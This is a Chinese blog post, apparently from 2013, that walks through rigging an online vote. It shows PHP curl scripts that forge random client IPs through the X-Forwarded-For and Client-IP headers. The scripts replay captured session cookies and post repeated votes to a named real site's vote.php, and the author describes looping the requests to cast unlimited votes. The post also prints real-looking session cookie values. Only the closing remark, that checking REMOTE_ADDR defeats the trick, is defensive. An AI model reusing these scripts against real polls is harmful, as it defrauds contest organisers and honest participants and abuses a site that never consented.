刷票初体验

  起因

  同事的朋友的朋友的妹妹要参加什么投票活动,想让我帮忙刷刷票。抱着研究一下的态度就答应了。跟大家分享下刷票的思路。  

  思考:

  首先,一般网站在做投票处理的时候,都是根据IP来判断的。如果能伪造IP的话,就应该可以实现刷票的功能。

  先看一下PHP开源项目discuz获取IP的函数:

//获取客户端ip
function get_ip() {
    if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
        $ip = getenv('HTTP_CLIENT_IP');
    } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        $ip = getenv('REMOTE_ADDR');
    } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : '';
}

  代码中首先获取的是HTTP_CLIENT_IP这个变量,而这个变量确实是可以伪造的,这就需要用到php的curl扩展。

      百度一下curl的用法,最简单使用curl伪造ip代码如下:

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://localhost/2.php");
$a = rand(1, 255);
$b = rand(1, 255);
$c = rand(1, 50);
$d = rand(1, 255);
$ip = "$a.$b.$c.$d";//动态生成IP地址
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip));  //构造IP
curl_setopt($ch, CURLOPT_REFERER, "http://www.baidu.com ");   //构造来路
curl_setopt($ch, CURLOPT_HEADER, 1);
$out = curl_exec($ch);
curl_close($ch);

  这样,通过curl我们就可以伪造ip了,似乎刷票的理论基础我们已经明白了,那么现在开始用这套代码来实现刷票。

  第一次尝试:

  首先先正常投一次票,如图:

  我们根据火狐的firebug可以看到,投票的操作用到了ajax的post提交,参数分别有tid和type。那么我们之前的那段代码是针对get方式提交的,看来我们需要修改一下代码,让curl支持post提交方式。修改的代码如下:

$url = "http://www.officeshow.cn/vote.php";
        
        $a = rand(1, 255);
        $b = rand(1, 255);
        $c = rand(1, 50);
        $d = rand(1, 255);
        $ip = "$a.$b.$c.$d";
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip));  //构造IP
        curl_setopt($ch, CURLOPT_REFERER, "http://www.gosoa.com.cn/ ");   //构造来路
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $out = curl_exec($ch);
        curl_close($ch);exit;

  搞定上面的代码后,让我们来试试刷票吧!运行这个php文件,得出的结果却是失败!那么我们继续探索。

  成功搞定:

  有很多网站会有cookie和session来存放用户信息,不管用那种,本地的话都会放到cookie里。虽然这个投票并不需要登录,但是有很多网站都会打开就有cookie信息。查看一下这个站点的cookie,博主用的是火狐。

  

  发现这个域下有两个cookie值,bdshare_firstime和PHPSESSID。火狐我们可以得到这两个cookie值,那么我们通过curl把这两个cookie值传过去,那么服务器就会认为这是正常的请求,而我们的刷票功能也就完成了。尝试下,代码如下:

$url = "http://www.officeshow.cn/vote.php";
        
        $a = rand(1, 255);
        $b = rand(1, 255);
        $c = rand(1, 50);
        $d = rand(1, 255);
        $ip = "$a.$b.$c.$d";
        $cookie = "bdshare_firstime=1367826762029; PHPSESSID=15i8mvcir3nlq9prtl63q6lbh4";//设置cookie值
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip, 'Cookie:'.$cookie));  //构造IP
        curl_setopt($ch, CURLOPT_REFERER, "http://www.baidu.com ");   //构造来路
        curl_setopt($ch, CURLOPT_POSTFIELDS,'tid=2200&type=1');
        curl_setopt($ch, CURLOPT_HEADER, 0);
        ob_start();
        $out = curl_exec($ch);
        $result = ob_get_contents() ;  
        ob_end_clean();  
        curl_close($ch);
        echo json_encode(getd('id'));exit;

  运行代码,成功!

  批量操作:

  刷票的代码已经搞定,下面就是批量操作。批量操作其实一个for循环就可以,但是一个请求浏览器有最大时间的限制,这样很不方便。

  我用到的是用ajax来循环请求,这样刷到多少票都可以了。

  延伸:

  在完成这次刷票功能,最关键的是把cookie也传过去了。其实在请求的时候,可以把浏览器正常请求的头信息都发送过去,因为你无法判断服务器那边到底设置了什么样的判断。通过firebug就可以看到头信息。然后用curl把所有的头信息都传过去。

curl_setopt($ch, CURLOPT_HTTPHEADER, 
        array(
        "Cookie:stQE_45b4_saltkey=njAO8S3G; stQE_45b4_lastvisit=1367823144; stQE_45b4_visitedfid=62D66D79D63; pgv_pvi=9600479659; __utma=29738476.2090210183.1367826762.1367826762.1367826762.1; __utmz=29738476.1367826762.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); bdshare_firstime=1367826762029; stQE_45b4_sid=DG6gx1; stQE_45b4_lastact=1368695577%09forum.php%09viewthread; stQE_45b4_viewid=tid_2200; PHPSESSID=b681ua42r0gpst2gvth6irh9a7; pgv_info=ssi=s2710992270; stQE_45b4_sendmail=1; stQE_45b4_forum_lastvisit=D_63_1368695475D_2_1368695494",
        'Host:'.'bbs.officeshow.cn',
        "Referer:http://bbs.officeshow.cn/forum.php?mod=viewthread&tid=2200",
        "X-Requested-With: XMLHttpRequest",
        'X-FORWARDED-FOR:'.$ip, 
        'CLIENT-IP:'.$ip,
        'X-Requested-With:XMLHttpRequest'));

  后记:

  如果服务器端判断IP使用的是$_SERVER['REMOTE_ADDR']的话,那么我们这种刷票办法就没有效果了。

posted @ 2013-05-16 18:19  源来如此  阅读(3237)  评论(6编辑  收藏  举报